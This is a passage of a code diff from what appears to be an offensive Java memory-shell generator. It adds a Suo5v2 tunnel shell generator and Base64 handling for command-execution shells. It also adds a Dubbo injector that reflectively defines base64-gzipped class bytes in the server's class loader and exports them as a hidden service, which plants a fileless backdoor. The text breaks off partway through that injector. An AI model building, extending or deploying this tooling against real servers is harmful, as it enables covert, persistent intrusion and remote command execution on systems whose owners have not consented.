private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
private static final List<Processor<DynamicType.Builder<?>>> BUILDER_PROCESSORS = Arrays.asList(
|
||||||
new ListenerBuilderModifier(),
|
new ListenerBuilderModifier(),
|
||||||
new ValveBuilderModifier(),
|
new ValveBuilderModifier(),
|
||||||
new JakartaBuilderModifier(),
|
|
||||||
new DebugOffBuilderModifier()
|
new DebugOffBuilderModifier()
|
||||||
);
|
);
|
||||||
|
|
||||||
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
|
||||||
|
new JakartaPostProcessor(),
|
||||||
new JettyHandlerPostProcessor(),
|
new JettyHandlerPostProcessor(),
|
||||||
new ShrinkPostProcessor()
|
new ShrinkPostProcessor()
|
||||||
);
|
);
|
||||||
|
|||||||
@@ -0,0 +1,46 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.ClassBytesShrink;
|
||||||
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.Suo5Config;
|
||||||
|
import com.reajason.javaweb.memshell.shelltool.suo5v2.Suo5v2;
|
||||||
|
import com.reajason.javaweb.utils.CommonUtil;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
|
import org.apache.commons.codec.binary.Base64;
|
||||||
|
|
||||||
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/2/12
|
||||||
|
*/
|
||||||
|
public class Suo5V2Generator extends ByteBuddyShellGenerator<Suo5Config> {
|
||||||
|
|
||||||
|
public Suo5V2Generator(ShellConfig shellConfig, Suo5Config suo5Config) {
|
||||||
|
super(shellConfig, suo5Config);
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
protected DynamicType.Builder<?> getBuilder() {
|
||||||
|
if (Suo5v2.class.equals(shellToolConfig.getShellClass())) {
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue());
|
||||||
|
}
|
||||||
|
try (DynamicType.Unloaded<Suo5v2> unloaded = new ByteBuddy()
|
||||||
|
.redefine(Suo5v2.class)
|
||||||
|
.name(CommonUtil.generateClassName())
|
||||||
|
.field(named("headerName")).value(shellToolConfig.getHeaderName())
|
||||||
|
.field(named("headerValue")).value(shellToolConfig.getHeaderValue())
|
||||||
|
.visit(TargetJreVersionVisitorWrapper.DEFAULT)
|
||||||
|
.make()) {
|
||||||
|
byte[] shrinkBytes = ClassBytesShrink.shrink(unloaded.getBytes(), true);
|
||||||
|
return new ByteBuddy()
|
||||||
|
.redefine(shellToolConfig.getShellClass())
|
||||||
|
.field(named("suo5V2GZipBase64")).value(Base64.encodeBase64String(CommonUtil.gzipCompress(shrinkBytes)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+2
-3
@@ -7,7 +7,6 @@ import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
import com.reajason.javaweb.memshell.config.*;
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
||||||
import com.reajason.javaweb.utils.CommonUtil;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
import net.bytebuddy.ByteBuddy;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
import org.apache.commons.lang3.tuple.Pair;
|
||||||
@@ -19,7 +18,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
|
|||||||
* @since 2026/1/13
|
* @since 2026/1/13
|
||||||
*/
|
*/
|
||||||
public class WebSocketByPassHelperGenerator {
|
public class WebSocketByPassHelperGenerator {
|
||||||
public static byte[] getBytes(ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
||||||
if (headerPair == null) {
|
if (headerPair == null) {
|
||||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
||||||
@@ -31,7 +30,7 @@ public class WebSocketByPassHelperGenerator {
|
|||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||||
.field(named("headerName")).value(headerPair.getKey())
|
.field(named("headerName")).value(headerPair.getKey())
|
||||||
.field(named("headerValue")).value(headerPair.getValue())
|
.field(named("headerValue")).value(headerPair.getValue())
|
||||||
.name(CommonUtil.generateClassName());
|
.name(helperClassName);
|
||||||
if (shellConfig.isJakarta()) {
|
if (shellConfig.isJakarta()) {
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
}
|
}
|
||||||
|
|||||||
+16
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.utils.ShellCommonUtil;
|
||||||
|
import net.bytebuddy.asm.Advice;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/4/27
|
||||||
|
*/
|
||||||
|
public class Base64ParamInterceptor {
|
||||||
|
|
||||||
|
@Advice.OnMethodExit
|
||||||
|
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
||||||
|
returnValue = ShellCommonUtil.base64DecodeToString(param);
|
||||||
|
}
|
||||||
|
}
|
||||||
+11
@@ -42,6 +42,17 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
|
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
|
builder = builder
|
||||||
|
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||||
|
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
||||||
|
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
|
.withParameters(String.class)
|
||||||
|
.throwing(Exception.class)
|
||||||
|
.intercept(FixedValue.nullValue())
|
||||||
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
|
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
|
||||||
|
}
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.withCustomMapping()
|
builder = builder.visit(Advice.withCustomMapping()
|
||||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
||||||
|
|||||||
-22
@@ -1,22 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public class JakartaBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+16
@@ -0,0 +1,16 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator.processors;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.asm.ClassRenameUtils;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
||||||
|
import com.reajason.javaweb.memshell.generator.Processor;
|
||||||
|
|
||||||
|
public class JakartaPostProcessor implements Processor<byte[]> {
|
||||||
|
@Override
|
||||||
|
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
return ClassRenameUtils.relocateJakarta(input);
|
||||||
|
}
|
||||||
|
return input;
|
||||||
|
}
|
||||||
|
}
|
||||||
+6
-10
@@ -17,6 +17,7 @@ import net.bytebuddy.description.modifier.Visibility;
|
|||||||
import net.bytebuddy.description.type.TypeDescription;
|
import net.bytebuddy.description.type.TypeDescription;
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
import net.bytebuddy.dynamic.DynamicType;
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
import net.bytebuddy.implementation.FixedValue;
|
||||||
|
import net.bytebuddy.implementation.StubMethod;
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
import net.bytebuddy.matcher.ElementMatchers;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
import static net.bytebuddy.matcher.ElementMatchers.named;
|
||||||
@@ -46,12 +47,9 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
|||||||
TypeDescription typeDefinition, String newClassName) {
|
TypeDescription typeDefinition, String newClassName) {
|
||||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
||||||
|
|
||||||
if (methods.filter(ElementMatchers.named("getResponseFromRequest")
|
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
||||||
.and(ElementMatchers.takesArguments(Object.class))
|
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
||||||
.and(ElementMatchers.returns(Object.class)))
|
" the method body will be auto adapted for multi server");
|
||||||
.isEmpty()) {
|
|
||||||
throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
|
|
||||||
" make sure arg and return type is Object.class");
|
|
||||||
} else {
|
} else {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
||||||
@@ -59,13 +57,11 @@ public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>
|
|||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
||||||
}
|
}
|
||||||
|
|
||||||
if (methods.filter(named("getFieldValue")
|
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
||||||
.and(takesArguments(Object.class, String.class)))
|
|
||||||
.isEmpty()) {
|
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
||||||
.withParameters(Object.class, String.class)
|
.withParameters(Object.class, String.class)
|
||||||
.throwing(Exception.class)
|
.throwing(Exception.class)
|
||||||
.intercept(FixedValue.nullValue())
|
.intercept(StubMethod.INSTANCE)
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
|
|||||||
+451
@@ -0,0 +1,451 @@
|
|||||||
|
package com.reajason.javaweb.memshell.injector.dubbo;
|
||||||
|
|
||||||
|
import com.alibaba.dubbo.common.URL;
|
||||||
|
import com.alibaba.dubbo.common.bytecode.ClassGenerator;
|
||||||
|
import com.alibaba.dubbo.common.utils.ClassHelper;
|
||||||
|
import com.alibaba.dubbo.config.*;
|
||||||
|
import com.alibaba.dubbo.config.model.ApplicationModel;
|
||||||
|
import com.alibaba.dubbo.config.model.ProviderModel;
|
||||||
|
import javassist.ClassPool;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.PrintWriter;
|
||||||
|
import java.io.StringWriter;
|
||||||
|
import java.lang.reflect.Constructor;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.lang.reflect.Modifier;
|
||||||
|
import java.security.ProtectionDomain;
|
||||||
|
import java.util.ArrayList;
|
||||||
|
import java.util.LinkedHashMap;
|
||||||
|
import java.util.List;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.concurrent.ConcurrentHashMap;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
public class AlibabaDubboServiceInjector {
|
||||||
|
private final Map<String, ServiceConfig<?>> dynamicServices = new ConcurrentHashMap<>();
|
||||||
|
private static final String DISPLAY_HOST = "x.x.x.x";
|
||||||
|
private static String msg = "";
|
||||||
|
private static boolean ok = false;
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getHelperBase64String() {
|
||||||
|
return "{{helperBase64String}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public AlibabaDubboServiceInjector() {
|
||||||
|
if (ok) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
msg += registerService();
|
||||||
|
} catch (Throwable e) {
|
||||||
|
msg += "unexcepted error: " + stackTrace(e);
|
||||||
|
}
|
||||||
|
ok = true;
|
||||||
|
System.out.println(msg);
|
||||||
|
}
|
||||||
|
|
||||||
|
public String registerService() throws Exception {
|
||||||
|
String servicePath = normalizePath(getUrlPattern());
|
||||||
|
if (servicePath.isEmpty()) {
|
||||||
|
throw new IllegalArgumentException("path must not be empty");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (dynamicServices.containsKey(servicePath) || findRegisteredService(servicePath) != null) {
|
||||||
|
return resolveServiceAddresses(servicePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
Class<?> serviceInterface = loadClass(getHelperBase64String());
|
||||||
|
Class<?> serviceImpl = loadClass(getBase64String());
|
||||||
|
validateServiceTypes(serviceInterface, serviceImpl);
|
||||||
|
|
||||||
|
ServiceConfig<?> serviceConfig = createServiceConfig(servicePath, serviceInterface, instantiate(serviceImpl));
|
||||||
|
if (dynamicServices.putIfAbsent(servicePath, serviceConfig) != null) {
|
||||||
|
return resolveServiceAddresses(servicePath);
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
serviceConfig.export();
|
||||||
|
return resolveServiceAddresses(servicePath);
|
||||||
|
} catch (RuntimeException e) {
|
||||||
|
dynamicServices.remove(servicePath, serviceConfig);
|
||||||
|
throw e;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> loadClass(String payload) throws Exception {
|
||||||
|
ClassLoader classLoader = ClassHelper.getClassLoader(ClassGenerator.class);
|
||||||
|
byte[] classBytes = gzipDecompress(decodeBase64(payload));
|
||||||
|
definePackageIfNeeded(classLoader, getClassName());
|
||||||
|
Class<?> loadedClass = defineClass(classLoader, classBytes);
|
||||||
|
registerInJavassistClassPool(classLoader, classBytes);
|
||||||
|
return loadedClass;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Class<?> defineClass(ClassLoader classLoader, byte[] classBytes) throws Exception {
|
||||||
|
ProtectionDomain protectionDomain = ClassGenerator.class.getProtectionDomain();
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"defineClass",
|
||||||
|
String.class,
|
||||||
|
byte[].class,
|
||||||
|
int.class,
|
||||||
|
int.class,
|
||||||
|
ProtectionDomain.class
|
||||||
|
);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
return (Class<?>) defineClass.invoke(classLoader, null, classBytes, 0, classBytes.length, protectionDomain);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void definePackageIfNeeded(ClassLoader classLoader, String className) {
|
||||||
|
int packageEnd = className.lastIndexOf('.');
|
||||||
|
if (packageEnd < 0) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
String packageName = className.substring(0, packageEnd);
|
||||||
|
try {
|
||||||
|
Method getPackage = ClassLoader.class.getDeclaredMethod("getPackage", String.class);
|
||||||
|
getPackage.setAccessible(true);
|
||||||
|
if (getPackage.invoke(classLoader, packageName) != null) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
Method definePackage = ClassLoader.class.getDeclaredMethod(
|
||||||
|
"definePackage",
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
String.class,
|
||||||
|
java.net.URL.class
|
||||||
|
);
|
||||||
|
definePackage.setAccessible(true);
|
||||||
|
definePackage.invoke(classLoader, packageName, null, null, null, null, null, null, null);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
// Defining the package is a convenience for older class loaders. The class can still load without it.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void registerInJavassistClassPool(ClassLoader classLoader, byte[] classBytes) {
|
||||||
|
try {
|
||||||
|
ClassPool classPool = ClassGenerator.getClassPool(classLoader);
|
||||||
|
classPool.makeClass(new ByteArrayInputStream(classBytes));
|
||||||
|
} catch (Throwable ignored) {
|
||||||
|
// Dubbo's proxy generator can still resolve already-defined classes if Javassist registration fails.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] decodeBase64(String value) throws Exception {
|
||||||
|
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
|
||||||
|
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, value);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] gzipDecompress(byte[] bytes) throws Exception {
|
||||||
|
GZIPInputStream inputStream = null;
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
try {
|
||||||
|
inputStream = new GZIPInputStream(new ByteArrayInputStream(bytes));
|
||||||
|
byte[] buffer = new byte[4096];
|
||||||
|
int read;
|
||||||
|
while ((read = inputStream.read(buffer)) > 0) {
|
||||||
|
outputStream.write(buffer, 0, read);
|
||||||
|
}
|
||||||
|
return outputStream.toByteArray();
|
||||||
|
} finally {
|
||||||
|
if (inputStream != null) {
|
||||||
|
inputStream.close();
|
||||||
|
}
|
||||||
|
outputStream.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void validateServiceTypes(Class<?> serviceInterface, Class<?> serviceImpl) {
|
||||||
|
if (!serviceInterface.isInterface()) {
|
||||||
|
throw new IllegalArgumentException("not an interface: " + serviceInterface.getName());
|
||||||
|
}
|
||||||
|
if (serviceImpl.isInterface() || Modifier.isAbstract(serviceImpl.getModifiers())) {
|
||||||
|
throw new IllegalArgumentException("implementation class is not instantiable: " + serviceImpl.getName());
|
||||||
|
}
|
||||||
|
if (!serviceInterface.isAssignableFrom(serviceImpl)) {
|
||||||
|
throw new IllegalArgumentException(serviceImpl.getName() + " does not implement " + serviceInterface.getName());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object instantiate(Class<?> serviceImpl) {
|
||||||
|
try {
|
||||||
|
Constructor<?> constructor = serviceImpl.getDeclaredConstructor();
|
||||||
|
constructor.setAccessible(true);
|
||||||
|
return constructor.newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new IllegalArgumentException("failed to instantiate " + serviceImpl.getName(), e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private ServiceConfig<Object> createServiceConfig(String servicePath, Class<?> serviceInterface, Object serviceImpl) {
|
||||||
|
ServiceConfig<Object> serviceConfig = new ServiceConfig<Object>();
|
||||||
|
serviceConfig.setInterface(serviceInterface);
|
||||||
|
serviceConfig.setRef(serviceImpl);
|
||||||
|
serviceConfig.setPath(servicePath);
|
||||||
|
|
||||||
|
ProviderConfig providerConfig = findProviderConfig();
|
||||||
|
if (providerConfig != null) {
|
||||||
|
serviceConfig.setProvider(providerConfig);
|
||||||
|
if (notEmpty(providerConfig.getVersion())) {
|
||||||
|
serviceConfig.setVersion(providerConfig.getVersion());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
ApplicationConfig applicationConfig = findApplicationConfig(providerConfig);
|
||||||
|
if (applicationConfig != null) {
|
||||||
|
serviceConfig.setApplication(applicationConfig);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<ProtocolConfig> protocolConfigs = findProtocolConfigs(providerConfig);
|
||||||
|
if (!protocolConfigs.isEmpty()) {
|
||||||
|
serviceConfig.setProtocols(protocolConfigs);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<RegistryConfig> registryConfigs = findRegistryConfigs(providerConfig, applicationConfig);
|
||||||
|
if (!registryConfigs.isEmpty()) {
|
||||||
|
serviceConfig.setRegistries(registryConfigs);
|
||||||
|
}
|
||||||
|
|
||||||
|
return serviceConfig;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ServiceConfig<?> findRegisteredService(String servicePath) {
|
||||||
|
String normalizedPath = normalizePath(servicePath);
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig != null && normalizedPath.equals(normalizePath(serviceConfig.getPath()))) {
|
||||||
|
return serviceConfig;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ProviderConfig findProviderConfig() {
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig != null && serviceConfig.getProvider() != null) {
|
||||||
|
return serviceConfig.getProvider();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private ApplicationConfig findApplicationConfig(ProviderConfig providerConfig) {
|
||||||
|
if (providerConfig != null && providerConfig.getApplication() != null) {
|
||||||
|
return providerConfig.getApplication();
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
com.alibaba.dubbo.config.ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (serviceConfig.getApplication() != null) {
|
||||||
|
return serviceConfig.getApplication();
|
||||||
|
}
|
||||||
|
if (serviceConfig.getProvider() != null && serviceConfig.getProvider().getApplication() != null) {
|
||||||
|
return serviceConfig.getProvider().getApplication();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<ProtocolConfig> findProtocolConfigs(ProviderConfig providerConfig) {
|
||||||
|
List<ProtocolConfig> protocols = new ArrayList<ProtocolConfig>();
|
||||||
|
addProtocols(protocols, providerConfig == null ? null : providerConfig.getProtocols());
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
addProtocols(protocols, serviceConfig.getProtocols());
|
||||||
|
addProtocols(protocols, serviceConfig.getProvider() == null ? null : serviceConfig.getProvider().getProtocols());
|
||||||
|
}
|
||||||
|
return uniqueProtocols(protocols);
|
||||||
|
}
|
||||||
|
|
||||||
|
private List<RegistryConfig> findRegistryConfigs(ProviderConfig providerConfig, ApplicationConfig applicationConfig) {
|
||||||
|
List<RegistryConfig> registries = registries(providerConfig == null ? null : providerConfig.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
registries = registries(applicationConfig == null ? null : applicationConfig.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
for (ProviderModel providerModel : providerModels()) {
|
||||||
|
ServiceConfig<?> serviceConfig = providerModel.getMetadata();
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
registries = registries(serviceConfig.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
ProviderConfig serviceProvider = serviceConfig.getProvider();
|
||||||
|
registries = registries(serviceProvider == null ? null : serviceProvider.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
|
||||||
|
ApplicationConfig serviceApplication = serviceConfig.getApplication();
|
||||||
|
registries = registries(serviceApplication == null ? null : serviceApplication.getRegistries());
|
||||||
|
if (!registries.isEmpty()) {
|
||||||
|
return registries;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return new ArrayList<RegistryConfig>();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String resolveServiceAddresses(String servicePath) {
|
||||||
|
String normalizedPath = normalizePath(servicePath);
|
||||||
|
ServiceConfig<?> serviceConfig = dynamicServices.get(normalizedPath);
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
serviceConfig = findRegisteredService(normalizedPath);
|
||||||
|
}
|
||||||
|
if (serviceConfig == null) {
|
||||||
|
return normalizedPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
List<URL> exportedUrls = serviceConfig.getExportedUrls();
|
||||||
|
if (exportedUrls != null && !exportedUrls.isEmpty()) {
|
||||||
|
return formatUrls(exportedUrls);
|
||||||
|
}
|
||||||
|
|
||||||
|
List<ProtocolConfig> protocols = uniqueProtocols(serviceConfig.getProtocols());
|
||||||
|
if (protocols.isEmpty() && serviceConfig.getProvider() != null) {
|
||||||
|
protocols = uniqueProtocols(serviceConfig.getProvider().getProtocols());
|
||||||
|
}
|
||||||
|
if (protocols.isEmpty()) {
|
||||||
|
return normalizedPath;
|
||||||
|
}
|
||||||
|
|
||||||
|
return formatProtocolAddresses(protocols, normalizedPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrls(List<URL> urls) {
|
||||||
|
StringBuilder builder = new StringBuilder();
|
||||||
|
for (URL url : urls) {
|
||||||
|
if (builder.length() > 0) {
|
||||||
|
builder.append(", ");
|
||||||
|
}
|
||||||
|
builder.append(formatUrl(url));
|
||||||
|
}
|
||||||
|
return builder.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddresses(List<ProtocolConfig> protocols, String path) {
|
||||||
|
StringBuilder builder = new StringBuilder();
|
||||||
|
for (ProtocolConfig protocol : protocols) {
|
||||||
|
if (builder.length() > 0) {
|
||||||
|
builder.append(", ");
|
||||||
|
}
|
||||||
|
builder.append(formatProtocolAddress(protocol, path));
|
||||||
|
}
|
||||||
|
return builder.toString();
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatUrl(URL url) {
|
||||||
|
String path = normalizePath(url.getPath());
|
||||||
|
int port = url.getPort();
|
||||||
|
return port > 0
|
||||||
|
? String.format("%s://%s:%d/%s", url.getProtocol(), DISPLAY_HOST, port, path)
|
||||||
|
: String.format("%s://%s/%s", url.getProtocol(), DISPLAY_HOST, path);
|
||||||
|
}
|
||||||
|
|
||||||
|
private String formatProtocolAddress(ProtocolConfig protocol, String path) {
|
||||||
|
String protocolName = notEmpty(protocol.getName()) ? protocol.getName() : "dubbo";
|
||||||
|
Integer port = protocol.getPort();
|
||||||
|
return port != null && port > 0
|
||||||
|
? String.format("%s://%s:%d/%s", protocolName, DISPLAY_HOST, port, path)
|
||||||
|
